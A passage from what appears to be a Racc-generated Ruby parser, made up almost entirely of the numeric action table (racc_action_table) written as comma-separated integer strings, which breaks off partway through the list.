racc_action_table = arr = ::Array.new(26268, nil)
idx = 0
clist.each do |str|
str.split(',', -1).each do |i|
arr[idx] = i.to_i unless i.empty?
idx += 1
end
end
clist = [
'432,1029,391,1043,849,902,309,432,432,432,597,663,22,432,432,64,432',
'521,593,493,20,20,593,850,521,348,664,29,494,342,924,1028,1,521,388',
'651,432,432,729,432,432,432,432,432,341,785,676,330,22,589,330,352,733',
'493,545,582,450,450,1030,676,664,981,494,981,349,391,734,432,432,432',
'432,432,432,432,432,432,432,432,432,432,432,736,851,432,432,432,724',
'432,754,754,651,432,29,309,432,691,691,388,663,432,785,432,64,432,432',
'432,432,432,432,432,735,432,717,432,29,1029,597,1043,849,902,1029,849',
'1043,849,902,653,432,432,850,432,348,432,653,653,653,597,1030,653,653',
'653,597,653,432,342,924,1028,450,736,342,924,1028,653,653,653,589,582',
'352,733,341,545,582,653,653,341,653,653,653,653,653,349,682,734,1030',
'485,681,715,735,1030,754,700,650,581,851,44,44,691,736,851,950,692,852',
'950,653,653,653,653,653,653,653,653,653,653,653,653,653,653,455,485',
'653,653,653,350,653,653,362,735,653,690,350,653,653,362,653,225,653',
'224,653,350,653,653,653,653,653,653,653,650,653,682,653,314,314,681',
'716,852,716,716,716,617,716,687,852,653,653,653,653,852,653,652,653',
'852,227,455,44,44,652,652,652,653,42,652,652,652,682,652,686,682,681',
'852,225,681,224,581,652,652,652,652,581,80,682,683,592,680,681,652,652',
'80,652,652,652,652,652,920,701,920,920,920,678,920,617,617,42,614,671',
'701,359,227,669,617,314,314,716,359,591,42,652,652,652,652,652,652,652',
'652,652,652,652,652,652,652,704,704,652,652,652,592,652,652,701,701',
'652,385,592,652,652,41,652,592,652,662,652,592,652,652,652,652,652,652',
'652,810,652,652,652,345,614,614,656,591,345,592,382,920,701,614,591',
'652,652,652,652,591,652,98,652,591,318,878,764,41,98,98,98,652,367,98',
'98,98,878,98,654,367,41,591,385,385,385,98,462,98,98,98,126,645,810',
'639,684,126,126,98,98,810,98,98,98,98,98,769,318,634,810,878,878,382',
'382,382,375,747,630,377,462,318,747,393,462,462,379,626,810,379,98,98',
'98,98,98,98,98,98,98,98,98,98,98,98,624,878,98,98,98,684,98,98,364,621',
'98,584,684,98,98,364,98,684,98,583,98,684,98,98,98,98,98,98,98,578,98',
'427,98,375,375,375,377,377,377,684,393,393,393,379,379,98,98,98,98,27',
'98,101,98,18,633,426,27,290,101,101,101,98,290,101,101,101,339,101,339',
'339,339,339,339,427,365,101,363,101,101,101,752,365,339,363,5,752,427',
'101,101,5,101,101,101,101,101,18,633,426,933,361,360,340,340,933,339',
'339,361,360,18,633,426,576,859,339,339,339,339,859,101,101,101,101,101',
'101,101,101,101,101,101,101,101,101,573,366,101,101,101,964,101,101',
'366,569,101,787,964,101,101,788,101,339,101,790,101,964,101,101,101',
'101,101,101,101,791,101,792,101,794,562,301,562,562,562,481,562,331',
'301,795,331,101,101,101,101,433,101,301,101,369,722,722,433,433,433',
'796,369,101,433,433,911,433,911,911,911,911,911,481,562,797,433,481',
'481,481,481,335,911,562,335,561,696,433,433,696,433,433,433,433,433',
'748,748,1014,1014,713,553,713,713,713,911,713,838,552,838,838,838,461',
'838,326,326,911,911,551,433,433,433,433,433,433,433,433,433,433,433',
'433,433,433,809,480,433,433,433,713,433,549,813,548,433,461,838,433',
'713,461,461,911,433,816,433,838,433,433,433,433,433,433,433,817,433',
'433,433,480,821,965,739,480,480,480,480,822,965,739,823,433,433,824',
'433,828,433,965,739,580,580,580,580,580,580,829,831,433,580,580,832',
'834,837,580,535,580,580,580,580,580,580,580,675,675,675,675,675,580',
'580,580,580,580,580,580,755,755,580,839,755,755,755,445,580,580,534',
'580,580,580,580,580,580,580,580,580,842,580,580,580,533,580,580,845',
'580,580,580,445,445,445,445,445,445,445,445,445,445,445,853,445,445',
'17,525,445,445,853,580,522,17,580,853,517,580,580,853,515,580,17,580',
'445,512,445,580,445,445,445,445,445,445,445,580,445,511,496,954,580',
'580,580,580,580,580,954,855,495,580,580,466,445,465,445,954,860,580',
'861,862,580,580,580,871,872,580,580,2,2,2,2,2,2,464,463,305,2,2,442',
'434,425,2,305,2,2,2,2,2,2,2,424,305,421,417,889,2,2,2,2,2,2,2,415,412',
'2,390,893,894,387,655,2,2,2,2,2,2,2,2,2,2,2,2,896,2,2,2,897,2,2,384',
'2,2,2,655,655,655,655,655,655,655,655,655,655,655,967,655,655,963,381',
'655,655,967,2,353,963,2,351,347,2,2,967,346,2,963,2,655,336,655,2,655',
'655,655,655,655,655,655,2,655,333,332,685,2,2,2,2,2,2,685,1031,922,2',
'2,685,655,328,1031,685,926,2,927,1031,2,2,2,1031,322,2,2,815,815,815',
'815,815,815,319,932,595,815,815,315,313,940,815,595,815,815,815,815',
'815,815,815,943,595,944,945,946,815,815,815,815,815,815,815,948,308',
'815,307,304,958,298,420,815,815,297,815,815,815,815,815,815,815,815',
'815,296,815,815,815,294,815,815,966,815,815,815,420,420,420,420,420',
'420,420,420,420,420,420,1006,420,420,320,283,420,420,1006,815,969,320',
'815,970,971,815,815,1006,972,815,320,815,420,973,420,815,420,420,420',
'420,420,420,420,815,420,280,975,303,815,815,815,815,815,815,303,892',
'279,815,815,268,420,265,892,303,233,815,229,228,815,815,815,892,226',
'815,815,895,895,895,895,895,895,732,207,302,895,895,124,90,999,895,302',
'895,895,895,895,895,895,895,1000,302,1002,89,88,895,895,895,895,895',
'895,895,87,890,895,890,890,890,72,890,895,895,48,895,895,895,895,895',
'895,895,895,895,43,895,895,895,1013,895,895,40,895,895,895,440,440,440',
'440,440,440,440,440,440,440,440,223,440,440,49,1018,440,440,223,895',
'1019,49,895,1020,1021,895,895,223,1022,895,49,895,440,1023,440,895,440',
'440,440,440,440,440,440,895,440,1024,1027,25,895,895,895,895,895,895',
'19,16,15,895,895,1032,440,1033,13,3,1045,895,,,895,895,895,,,895,895',
'806,806,806,806,806,806,,,,806,806,,,,806,,806,806,806,806,806,806,806',
'9,9,9,9,9,806,806,806,806,806,806,806,,998,806,998,998,998,,998,806',
'806,,806,806,806,806,806,806,806,806,806,,806,806,806,,806,806,,806',
'806,806,773,773,773,773,773,773,773,773,773,773,773,,773,773,,,773,773',
',806,,,806,,,806,806,,,806,,806,773,,773,806,773,773,773,773,773,773',
'773,806,773,,,,806,806,806,806,806,806,,,,806,806,,773,,,,,806,,,806',
'806,806,,,806,806,805,805,805,805,805,805,,,,805,805,,,,805,,805,805',
'805,805,805,805,805,510,510,510,510,510,805,805,805,805,805,805,805',
',,805,292,292,292,292,292,805,805,,805,805,805,805,805,805,805,805,805',
',805,805,805,,805,805,,805,805,805,484,484,484,484,484,484,484,484,484',
'484,484,,484,484,,,484,484,,805,,,805,,,805,805,,,805,,805,484,,484',
'805,484,484,484,484,484,484,484,805,484,,,,805,805,805,805,805,805,',
',,805,805,484,484,,,,,805,,,805,805,805,,,805,805,801,801,801,801,801',
'801,,,,801,801,,,,801,,801,801,801,801,801,801,801,,,,,,801,801,801',
'801,801,801,801,,,801,,,,,,801,801,,801,801,801,801,801,801,801,801',
'801,,801,801,801,,801,801,,801,801,801,776,776,776,776,776,776,776,776',
'776,776,776,,776,776,,,776,776,,801,,,801,,,801,801,,,801,,801,776,',
'776,801,776,776,776,776,776,776,776,801,776,,,,801,801,801,801,801,801',
',,,801,801,,776,,,,,801,,,801,801,801,,,801,801,577,577,577,577,577',
'577,,,,577,577,,,,577,,577,577,577,577,577,577,577,,,,,,577,577,577',
'577,577,577,577,,,577,,,,,,577,577,,577,577,577,577,577,577,577,577',
'577,,577,577,577,,577,577,,577,577,577,874,874,874,874,874,874,874,874',
'874,874,874,,874,874,,,874,874,,577,,,577,,,577,577,,,577,,577,874,',
'874,577,874,874,874,874,874,874,874,577,874,,,,577,577,577,577,577,577',
',,,577,577,,874,,,,,577,,,577,577,577,,,577,577,699,699,699,699,699',
'699,,,,699,699,,,,699,,699,699,699,699,699,699,699,,,,,,699,699,699',
'699,699,699,699,,,699,,,,,,699,699,,699,699,699,699,699,699,699,699',
'699,,699,699,699,,699,699,,699,699,699,877,877,877,877,877,877,877,877',
'877,877,877,,877,877,,,877,877,,699,,,699,,,699,699,,,699,,699,877,',
'877,699,877,877,877,877,877,877,877,699,877,,,,699,699,699,699,699,699',
',,,699,699,,877,,,,,699,,,699,699,699,,,699,699,698,698,698,698,698',
'698,,,,698,698,,,,698,,698,698,698,698,698,698,698,,,,,,698,698,698',
'698,698,698,698,,,698,,,,,,698,698,,698,698,698,698,698,698,698,698',
'698,,698,698,698,,698,698,,698,698,698,771,771,771,771,771,771,771,771',
'771,771,771,,771,771,,,771,771,,698,,,698,,,698,698,,,698,,698,771,',
'771,698,771,771,771,771,771,771,771,698,771,,,,698,698,698,698,698,698',
',,,698,698,,771,,,,,698,,,698,698,698,,,698,698,300,300,300,300,300',
'300,,,,300,300,,,,300,,300,300,300,300,300,300,300,,,,,,300,300,300',
'300,300,300,300,,,300,,,,,,300,300,,300,300,300,300,300,300,300,300',
'300,,300,300,300,,300,300,,300,300,300,24,24,24,24,24,24,24,24,24,24',
'24,,24,24,,,24,24,,300,,,300,,,300,300,,,300,,300,24,,24,300,24,24,24',
'24,24,24,24,300,24,,,,300,300,300,300,300,300,,,,300,300,,24,,,,,300',
',,300,300,300,,,300,300,962,962,962,962,962,962,,,,962,962,,,,962,,962',
'962,962,962,962,962,962,,,,,,962,962,962,962,962,962,962,,,962,,,,,',
'962,962,,962,962,962,962,962,962,962,962,962,,962,962,962,,962,962,',
'962,962,962,689,689,689,689,689,689,689,689,689,689,689,,689,689,,,689',
'689,,962,,,962,,,962,962,,,962,,962,689,,689,962,689,689,689,689,689',
'689,689,962,689,,,,962,962,962,962,962,962,,,,962,962,,689,,,,,962,',
',962,962,962,,,962,962,899,899,899,899,899,899,,,,899,899,,,,899,,899',
'899,899,899,899,899,899,,,,,,899,899,899,899,899,899,899,,,899,,,,,',
'899,899,,899,899,899,899,899,899,899,899,899,,899,899,899,,899,899,',
'899,899,899,766,766,766,766,766,766,766,766,766,766,766,,766,766,,,766',
'766,,899,,,899,,,899,899,,,899,,899,766,,766,899,766,766,766,766,766',
'766,766,899,766,,,,899,899,899,899,899,899,,,,899,899,,766,,,,,899,',
',899,899,899,,,899,899,295,295,295,295,295,295,,,,295,295,,,,295,,295',
'295,295,295,295,295,295,,,,,,295,295,295,295,295,295,295,,,295,,,,,',
'295,295,,295,295,295,295,295,295,295,295,295,,295,295,295,,295,295,',
'295,295,295,778,778,778,778,778,778,778,778,778,778,778,,778,778,,,778',
'778,,295,,,295,,,295,295,,,295,,295,778,,778,295,778,778,778,778,778',
'778,778,295,778,,,,295,295,295,295,295,295,,,,295,295,,778,,,,,295,',
',295,295,295,,,295,295,977,977,977,977,977,977,,,,977,977,,,,977,,977',
'977,977,977,977,977,977,,,,,,977,977,977,977,977,977,977,,,977,,,,,',
'977,977,,977,977,977,977,977,977,977,977,977,,977,977,977,,977,977,',
'977,977,977,277,277,277,277,277,277,277,277,277,277,277,,277,277,,,277',
'277,,977,,,977,,,977,977,,,977,,977,277,,277,977,277,277,277,277,277',
'277,277,977,277,,,,977,977,977,977,977,977,,,,977,977,,277,,,,,977,',
',977,977,977,,,977,977,982,982,982,982,982,982,,,,982,982,,,,982,,982',
'982,982,982,982,982,982,,,,,,982,982,982,982,982,982,982,,,982,,,,,',
'982,982,,982,982,982,982,982,982,982,982,982,,982,982,982,,982,982,',
'982,982,982,780,780,780,780,780,780,780,780,780,780,780,,780,780,,,780',
'780,,982,,,982,,,982,982,,,982,,982,780,,780,982,780,780,780,780,780',
'780,780,982,780,,,,982,982,982,982,982,982,,,,982,982,,780,,,,,982,',
',982,982,982,,,982,982,232,232,232,232,232,232,,,,232,232,,,,232,,232',
'232,232,232,232,232,232,,,,,,232,232,232,232,232,232,232,,,232,,,,,',
'232,232,,232,232,232,232,232,232,232,232,232,,232,232,232,,232,232,',
'232,232,232,531,531,531,531,531,531,531,531,531,531,531,,531,531,,,531',
'531,,232,,,232,,,232,232,,,232,,232,531,,531,232,531,531,531,531,531',
'531,531,232,531,,,,232,232,232,232,232,232,,,,232,232,,531,,,,,232,',
',232,232,232,,,232,232,985,985,985,985,985,985,,,,985,985,,,,985,,985',
'985,985,985,985,985,985,,,,,,985,985,985,985,985,985,985,,974,985,974',
'974,974,,974,985,985,,985,985,985,985,985,985,985,985,985,,985,985,985',
',985,985,,985,985,985,470,470,470,470,470,470,470,,974,470,470,,,,,',
'470,470,,985,,,985,,,985,985,,,985,,985,470,,470,985,470,470,470,470',
'470,470,470,985,470,,,,985,985,985,985,985,985,,,,985,985,,921,,921',
'921,921,985,921,,985,985,985,,,985,985,986,986,986,986,986,986,,,,986',
'986,,,,986,,986,986,986,986,986,986,986,921,,,,,986,986,986,986,986',
'986,986,,840,986,840,840,840,,840,986,986,,986,986,986,986,986,986,986',
'986,986,,986,986,986,,986,986,,986,986,986,482,482,482,482,482,482,482',
',840,482,482,,,,,,482,482,,986,,,986,,,986,986,,,986,,986,482,,482,986',
'482,482,482,482,482,482,482,986,482,,,,986,986,986,986,986,986,,,,986',
'986,,976,,976,976,976,986,976,,986,986,986,,,986,986,856,856,856,856',
'856,856,,,,856,856,,,,856,,856,856,856,856,856,856,856,976,,,,,856,856',
'856,856,856,856,856,,1012,856,1012,1012,1012,,1012,856,856,,856,856',
'856,856,856,856,856,856,856,,856,856,856,,856,856,,856,856,856,483,483',
'483,483,483,483,483,483,1012,483,483,,,,,,483,483,,856,,,856,,,856,856',
',,856,,856,483,,483,856,483,483,483,483,483,483,483,856,483,,,,856,856',
'856,856,856,856,,,,856,856,,,,,,,856,,,856,856,856,,,856,856,36,36,36',
'36,36,36,,,,36,36,,,,36,,36,36,36,36,36,36,36,,,,,,36,36,36,36,36,36',
'36,,,36,,,,,,36,36,,36,36,36,36,36,36,36,36,36,,36,36,36,,36,36,,36',
'36,36,471,,,,,,,,,,,,,,,,471,471,,36,,,36,,469,36,36,,,36,,36,471,,471',
'36,471,471,471,471,469,469,471,36,471,,,,36,36,36,36,36,36,,,469,36',
'36,,469,469,469,469,,36,,,36,36,36,,,36,36,209,209,209,209,209,209,',
',,209,209,,,,209,,209,209,209,209,209,209,209,,,,,,209,209,209,209,209',
'209,209,,,209,,,,,,209,209,,209,209,209,209,209,209,209,209,209,,209',
'209,209,,209,209,,209,209,209,460,460,460,460,460,460,460,460,460,460',
'460,,460,460,,,460,460,,209,,,209,,,209,209,,,209,,209,460,,460,209',
'460,460,460,460,460,460,460,209,460,,,,209,209,209,209,209,209,,,,209',
'209,,,,,,,209,,,209,209,209,,,209,209,929,929,929,929,929,929,,,,929',
'929,,,,929,,929,929,929,929,929,929,929,,,,,,929,929,929,929,929,929',
'929,,,929,,,,,,929,929,,929,929,929,929,929,929,929,929,929,,929,929',
'929,,929,929,,929,929,929,459,459,459,459,459,459,459,459,459,459,459',
',459,459,,,459,459,,929,,,929,,,929,929,,,929,,929,459,,459,929,459',
'459,459,459,459,459,459,929,459,,,,929,929,929,929,929,929,,,,929,929',
',,,,,,929,,,929,929,929,,,929,929,749,749,749,749,749,749,,,,749,749',
',,,749,,749,749,749,749,749,749,749,,,,,,749,749,749,749,749,749,749',
',,749,,,,,,749,749,,749,749,749,749,749,749,749,749,749,,749,749,749',
',749,749,,749,749,749,472,,,,,,,,,,,,,,,,472,472,,749,,,749,,,749,749',
',,749,,749,472,,472,749,472,472,472,472,,,472,749,472,,,,749,749,749',
'749,749,749,,,,749,749,,,,,,,749,,,749,749,749,,,749,749,750,750,750',
'750,750,750,,,,750,750,,,,750,,750,750,750,750,750,750,750,,,,,,750',
'750,750,750,750,750,750,,,750,,,,,,750,750,,750,750,750,750,750,750',
'750,750,750,,750,750,750,,750,750,,750,750,750,473,,,,,,,,,,,,,,,,473',
'473,,750,,,750,,,750,750,,,750,,750,473,,473,750,473,473,473,473,,,473',
'750,473,,,,750,750,750,750,750,750,,,,750,750,,,,,,,750,,,750,750,750',
',,750,750,325,325,325,325,325,325,,,,325,325,,,,325,,325,325,325,325',
'325,325,325,,,,,,325,325,325,325,325,325,325,,,325,,,,,,325,325,,325',
'325,325,325,325,325,325,325,325,,325,325,325,,325,325,,325,325,325,474',
',,,,,,,,,,,,,,,474,474,,325,,,325,,,325,325,,,325,,325,474,,474,325',
'474,474,474,474,,,474,325,474,,,,325,325,325,325,325,325,,,,325,325',
',,,,,,325,,,325,325,325,,,325,325,846,846,846,846,846,846,,,,846,846',
',,,846,,846,846,846,846,846,846,846,,,,,,846,846,846,846,846,846,846',
',,846,,,,,,846,846,,846,846,846,846,846,846,846,846,846,,846,846,846',
',846,846,,846,846,846,475,475,475,475,475,475,475,,,475,475,,,,,,475',
'475,,846,,,846,,,846,846,,,846,,846,475,,475,846,475,475,475,475,475',
'475,475,846,475,,,,846,846,846,846,846,846,,,,846,846,,,,,,,846,,,846',
'846,846,,,846,846,847,847,847,847,847,847,,,,847,847,,,,847,,847,847',
'847,847,847,847,847,,,,,,847,847,847,847,847,847,847,,,847,,,,,,847',
'847,,847,847,847,847,847,847,847,847,847,,847,847,847,,847,847,,847',
'847,847,477,477,477,477,477,477,477,,,477,477,,,,,,477,477,,847,,,847',
',,847,847,,,847,,847,477,,477,847,477,477,477,477,477,477,477,847,477',
',,,847,847,847,847,847,847,,,,847,847,,,,,,,847,,,847,847,847,,,847',
'847,406,406,406,406,406,406,,,,406,406,,,,406,,406,406,406,406,406,406',
'406,,,,,,406,406,406,406,406,406,406,,,406,,,,,,406,406,406,406,406',
'406,406,406,406,406,406,406,,406,406,406,,406,406,,406,406,406,479,479',
'479,479,479,479,479,,,479,479,,,,,,479,479,,406,,,406,,,406,406,,,406',
',406,479,,479,406,479,479,479,479,479,479,479,406,479,,,,406,406,406',
'406,406,406,,,,406,406,,,,,,,406,,,406,406,406,,,406,406,756,756,756',
'756,756,756,,,,756,756,,,,756,,756,756,756,756,756,756,756,,,,,,756',
'756,756,756,756,756,756,,,756,,,,,,756,756,,756,756,756,756,756,756',
'756,756,756,,756,756,756,,756,756,,756,756,756,476,476,476,476,476,476',
'476,,,476,476,,,,,,476,476,,756,,,756,,,756,756,,,756,,756,476,,476',
'756,476,476,476,476,476,476,476,756,476,,,,756,756,756,756,756,756,',
',,756,756,,,,,,,756,,,756,756,756,,,756,756,284,284,284,,284,,,,284',
'284,,,,284,,284,284,284,284,284,284,284,,,,,,284,284,284,284,284,284',
'284,,,284,,,,,,,284,,,284,284,284,284,284,284,284,284,,284,284,284,',
'284,284,,284,284,284,478,478,478,478,478,478,478,,,478,478,,,,,,478',
'478,,284,,,284,,,284,284,,,284,,,478,,478,284,478,478,478,478,478,478',
'478,284,478,,,,284,284,284,284,284,284,,,,284,284,,,,,,,284,,,284,284',
'284,,,284,284,672,672,672,,672,,,,672,672,,,,672,,672,672,672,672,672',
'672,672,,,,,,672,672,672,672,672,672,672,,,672,,,,,,,672,,,672,672,672',
'672,672,672,672,672,,672,672,672,,672,672,,672,672,672,468,,,,,,,,,',
',,,,,,468,468,,672,,,672,,,672,672,,,672,,,468,,468,672,468,468,468',
'468,,,,672,,,,,672,672,672,672,672,672,,,,672,672,,,,,,,672,,,672,672',
'672,,,672,672,875,875,875,,875,,,,875,875,,,,875,,875,875,875,875,875',
'875,875,,,,,,875,875,875,875,875,875,875,,,875,,,,,,,875,,,875,875,875',
'875,875,875,875,875,875,875,875,875,,875,875,,875,875,875,467,,,,,,',
',,,,,,,,,467,467,,875,,,875,,,875,875,,,875,,,467,875,467,875,467,467',
'467,467,,,,875,,,,,875,875,875,875,875,875,,,,875,875,,,,,,,875,,875',
'875,875,875,,,875,875,343,343,343,,343,,,,343,343,,,,343,,343,343,343',
'343,343,343,343,,,,,,343,343,343,343,343,343,343,,,343,,,,,,,343,,,343',
'343,343,343,343,343,343,343,,343,343,343,,343,343,,343,343,343,,,,,',
',,,,,,,,,,,,,,343,,,343,,,343,343,,,343,,,,,,343,,,,,,,,343,,,,,343',
'343,343,343,343,343,,,,343,343,,,,,,,343,,,343,343,343,,,343,343,61',
'61,61,,61,,,,61,61,,,,61,,61,61,61,61,61,61,61,,,,,,61,61,61,61,61,61',
'61,,,61,,,,,,,61,,,61,61,61,61,61,61,61,61,,61,61,61,,61,61,,61,61,61',
',,,,,,,,,,,,,,,,,,,61,,,61,,,61,61,,,61,,,,,,61,,,,,,,,61,,,,,61,61',
'61,61,61,61,,,,61,61,61,,,,,,61,,,61,61,61,,,61,61,62,62,62,,62,,,,62',
'62,,,,62,,62,62,62,62,62,62,62,,,,,,62,62,62,62,62,62,62,,,62,,,,,,',
'62,,,62,62,62,62,62,62,62,62,62,62,62,62,,62,62,,62,62,62,,,,,,,,,,',
',,,,,,,,,62,,,62,,,62,62,,,62,,62,,,,62,,,,,,,,62,,,,,62,62,62,62,62',
'62,,,,62,62,,,,,,,62,,62,62,62,62,,,62,62,63,63,63,,63,,,,63,63,,,,63',
',63,63,63,63,63,63,63,,,,,,63,63,63,63,63,63,63,,,63,,,,,,,63,,,63,63',
'63,63,63,63,63,63,63,63,63,63,,63,63,,63,63,63,,,,,,,,,,,,,,,,,,,,63',
',,63,,,63,63,,,63,,,,,,63,,,,,,,,63,,,,,63,63,63,63,63,63,,,,63,63,',
',,,,,63,,63,63,63,63,,,63,63,46,46,46,,46,,,,46,46,,,,46,,46,46,46,46',
'46,46,46,,,,,,46,46,46,46,46,46,46,,,46,,,,,,,46,,,46,46,46,46,46,46',
'46,46,,46,46,46,,46,46,,46,46,46,,,,,,,,,,,,,,,,,,,,46,,,46,,,46,46',
',,46,,,,,,46,,,,,,,,46,,,,,46,46,46,46,46,46,,,,46,46,,,,,,,46,,,46',
'46,46,,,46,46,66,66,66,,66,,,,66,66,,,,66,,66,66,66,66,66,66,66,,,,',
',66,66,66,66,66,66,66,,,66,,,,,,,66,,,66,66,66,66,66,66,66,66,,66,66',
'66,,66,66,,66,66,66,,,,,,,,,,,,,,,,,,,,66,,,66,,,66,66,,,66,,,,,,66',
',,,,,,,66,,,,,66,66,66,66,66,66,,,,66,66,,,,,,,66,,,66,66,66,,,66,66',
'67,67,67,,67,,,,67,67,,,,67,,67,67,67,67,67,67,67,,,,,,67,67,67,67,67',
'67,67,,,67,,,,,,,67,,,67,67,67,67,67,67,67,67,,67,67,67,,67,67,,67,67',
'67,,,,,,,,,,,,,,,,,,,,67,,,67,,,67,67,,,67,,,,,,67,,,,,,,,67,,,,,67',
'67,67,67,67,67,,,,67,67,,,,,,,67,,,67,67,67,,,67,67,70,70,70,,70,,,',
'70,70,,,,70,,70,70,70,70,70,70,70,,,,,,70,70,70,70,70,70,70,,,70,,,',
',,,70,,,70,70,70,70,70,70,70,70,,70,70,70,,70,70,,70,70,70,,,,,,,,,',
',,,,,,,,,,70,,,70,,,70,70,,,70,,,,,,70,,,,,,,,70,,,,,70,70,70,70,70',
'70,,,,70,70,70,,,,,70,70,,,70,70,70,,,70,70,71,71,71,,71,,,,71,71,,',
',71,,71,71,71,71,71,71,71,,,,,,71,71,71,71,71,71,71,,,71,,,,,,,71,,',
'71,71,71,71,71,71,71,71,,71,71,71,,71,71,,,,71,,,,,,,,,,,,,,,,,,,,71',
',,71,,,71,71,,,71,,71,,,,,,,,,,,,,,,,,71,71,71,71,71,71,,,,71,71,,,',
',,,71,,,71,71,71,,,71,71,765,765,765,,765,,,,765,765,,,,765,,765,765',
'765,765,765,765,765,,,,,,765,765,765,765,765,765,765,,,765,,,,,,,765',
',,765,765,765,765,765,765,765,765,,765,765,765,,765,765,,765,765,765',
',,,,,,,,,,,,,,,,,,,765,,,765,,,765,765,,,765,,,,,,765,,,,,,,,765,,,',
',765,765,765,765,765,765,,,,765,765,,,,,,,765,,,765,765,765,,,765,765',
'45,45,45,,45,,,,45,45,,,,45,,45,45,45,45,45,45,45,,,,,,45,45,45,45,45',
'45,45,,,45,,,,,,,45,,,45,45,45,45,45,45,45,45,,45,45,45,,45,45,,45,45',
'45,,,,,,,,,,,,,,,,,,,,45,,,45,,,45,45,,,45,,,,,,45,,,,,,,,45,,,,,45',
'45,45,45,45,45,,,,45,45,,,,,,,45,,,45,45,45,,,45,45,677,677,677,,677',
',,,677,677,,,,677,,677,677,677,677,677,677,677,,,,,,677,677,677,677',
'677,677,677,,,677,,,,,,,677,,,677,677,677,677,677,677,677,677,,677,677',
'677,,677,677,,,,677,,,,,,,,,,,,,,,,,,,,677,,,677,,,677,677,,,677,,,',
',,,,,,,,,,,,,,,677,677,677,677,677,677,,,,677,677,,,,,,,677,,,677,677',
'677,,,677,677,458,458,458,,458,,,,458,458,,,,458,,458,458,458,458,458',
'458,458,,,,,,458,458,458,458,458,458,458,,,458,,,,,,,458,,,458,458,458',
'458,458,458,458,458,,458,458,458,,458,458,,458,458,458,,,,,,,,,,,,,',
',,,,,,458,,,458,,,458,458,,,458,,,,,,458,,,,,,,,458,,,,,458,458,458',
'458,458,458,,,,458,458,,,,,,,458,,,458,458,458,,,458,458,648,648,648',
',648,,,,648,648,,,,648,,648,648,648,648,648,648,648,,,,,,648,648,648',
'648,648,648,648,,,648,,,,,,,648,,,648,648,648,648,648,648,648,648,,648',
'648,648,,648,648,,648,648,648,,,,,,,,,,,,,,,,,,,,648,,,648,,,648,648',
',,648,,,,,,648,,,,,,,,648,,,,,648,648,648,648,648,648,,,,648,648,,,',
',,,648,,,648,648,648,,,648,648,1003,1003,1003,,1003,,,,1003,1003,,,',
'1003,,1003,1003,1003,1003,1003,1003,1003,,,,,,1003,1003,1003,1003,1003',
'1003,1003,,,1003,,,,,,,1003,,,1003,1003,1003,1003,1003,1003,1003,1003',
'1003,1003,1003,1003,,1003,1003,,1003,1003,1003,,,,,,,,,,,,,,,,,,,,1003',
',,1003,,,1003,1003,,,1003,,1003,,1003,,1003,,,,,,,,1003,,,,,1003,1003',
'1003,1003,1003,1003,,,,1003,1003,,,,,,,1003,,1003,1003,1003,1003,,,1003',
'1003,647,647,647,,647,,,,647,647,,,,647,,647,647,647,647,647,647,647',
',,,,,647,647,647,647,647,647,647,,,647,,,,,,,647,,,647,647,647,647,647',
'647,647,647,,647,647,647,,647,647,,647,647,647,,,,,,,,,,,,,,,,,,,,647',
',,647,,,647,647,,,647,,,,,,647,,,,,,,,647,,,,,647,647,647,647,647,647',
',,,647,647,,,,,,,647,,,647,647,647,,,647,647,857,857,857,,857,,,,857',
'857,,,,857,,857,857,857,857,857,857,857,,,,,,857,857,857,857,857,857',
'857,,,857,,,,,,,857,,,857,857,857,857,857,857,857,857,,857,857,857,',
'857,857,,857,857,857,,,,,,,,,,,,,,,,,,,,857,,,857,,,857,857,,,857,,',
',,,857,,,,,,,,857,,,,,857,857,857,857,857,857,,,,857,857,,,,,,,857,',
',857,857,857,,,857,857,457,457,457,,457,,,,457,457,,,,457,,457,457,457',
'457,457,457,457,,,,,,457,457,457,457,457,457,457,,,457,,,,,,,457,,,457',
'457,457,457,457,457,457,457,,457,457,457,,457,457,,457,457,457,,,,,',
',,,,,,,,,,,,,,457,,,457,,,457,457,,,457,,,,,,457,,,,,,,,457,,,,,457',
'457,457,457,457,457,,,,457,457,,,,,,,457,,,457,457,457,,,457,457,38',
'38,38,,38,,,,38,38,,,,38,,38,38,38,38,38,38,38,,,,,,38,38,38,38,38,38',
'38,,,38,,,,,,,38,,,38,38,38,38,38,38,38,38,,38,38,38,,38,38,,,,38,,',
',,,,,,,,,,,,,,,,,38,,,38,,,38,38,,,38,,,,,,,,,,,,,,,,,,,38,38,38,38',
'38,38,,,,38,38,,,,38,,,38,,,38,38,38,,,38,38,114,114,114,114,114,,,',
'114,114,,,,114,,114,114,114,114,114,114,114,,,,,,114,114,114,114,114',
'114,114,,,114,,,,,,114,114,114,114,114,114,114,114,114,114,114,114,',
'114,114,114,,114,114,,114,114,114,,,,,,,,,,,,,,,,,,,,114,,,114,,,114',
'114,,,114,,114,,,,114,,,,,,,,114,,,,,114,114,114,114,114,114,,,,114',
'114,,,,,,114,114,,,114,114,114,,,114,114,119,119,119,,119,,,,119,119',
',,,119,,119,119,119,119,119,119,119,,,,,,119,119,119,119,119,119,119',
',,119,,,,,,,119,,,119,119,119,119,119,119,119,119,,119,119,119,,119',
'119,,119,119,119,,,,,,,,,,,,,,,,,,,,119,,,119,,,119,119,,,119,,,,,,119',
',,,,,,,119,,,,,119,119,119,119,119,119,,,,119,119,,,,,,,119,,,119,119',
'119,,,119,119,120,120,120,,120,,,,120,120,,,,120,,120,120,120,120,120',
'120,120,,,,,,120,120,120,120,120,120,120,,,120,,,,,,,120,,,120,120,120',
'120,120,120,120,120,,120,120,120,,120,120,,120,120,120,,,,,,,,,,,,,',
',,,,,,120,,,120,,,120,120,,,120,,,,,,120,,,,,,,,120,,,,,120,120,120',
'120,120,120,,,,120,120,,,,,,,120,,,120,120,120,,,120,120,121,121,121',
',121,,,,121,121,,,,121,,121,121,121,121,121,121,121,,,,,,121,121,121',
'121,121,121,121,,,121,,,,,,,121,,,121,121,121,121,121,121,121,121,,121',
'121,121,,121,121,,121,121,121,,,,,,,,,,,,,,,,,,,,121,,,121,,,121,121',
',,121,,,,,,121,,,,,,,,121,,,,,121,121,121,121,121,121,,,,121,121,,,',
',,,121,,,121,121,121,,,121,121,122,122,122,,122,,,,122,122,,,,122,,122',
'122,122,122,122,122,122,,,,,,122,122,122,122,122,122,122,,,122,,,,,',
',122,,,122,122,122,122,122,122,122,122,,122,122,122,,122,122,,122,122',
'122,,,,,,,,,,,,,,,,,,,,122,,,122,,,122,122,,,122,,,,,,122,,,,,,,,122',
',,,,122,122,122,122,122,122,,,,122,122,,,,,,,122,,,122,122,122,,,122',
'122,123,123,123,123,123,,,,123,123,,,,123,,123,123,123,123,123,123,123',
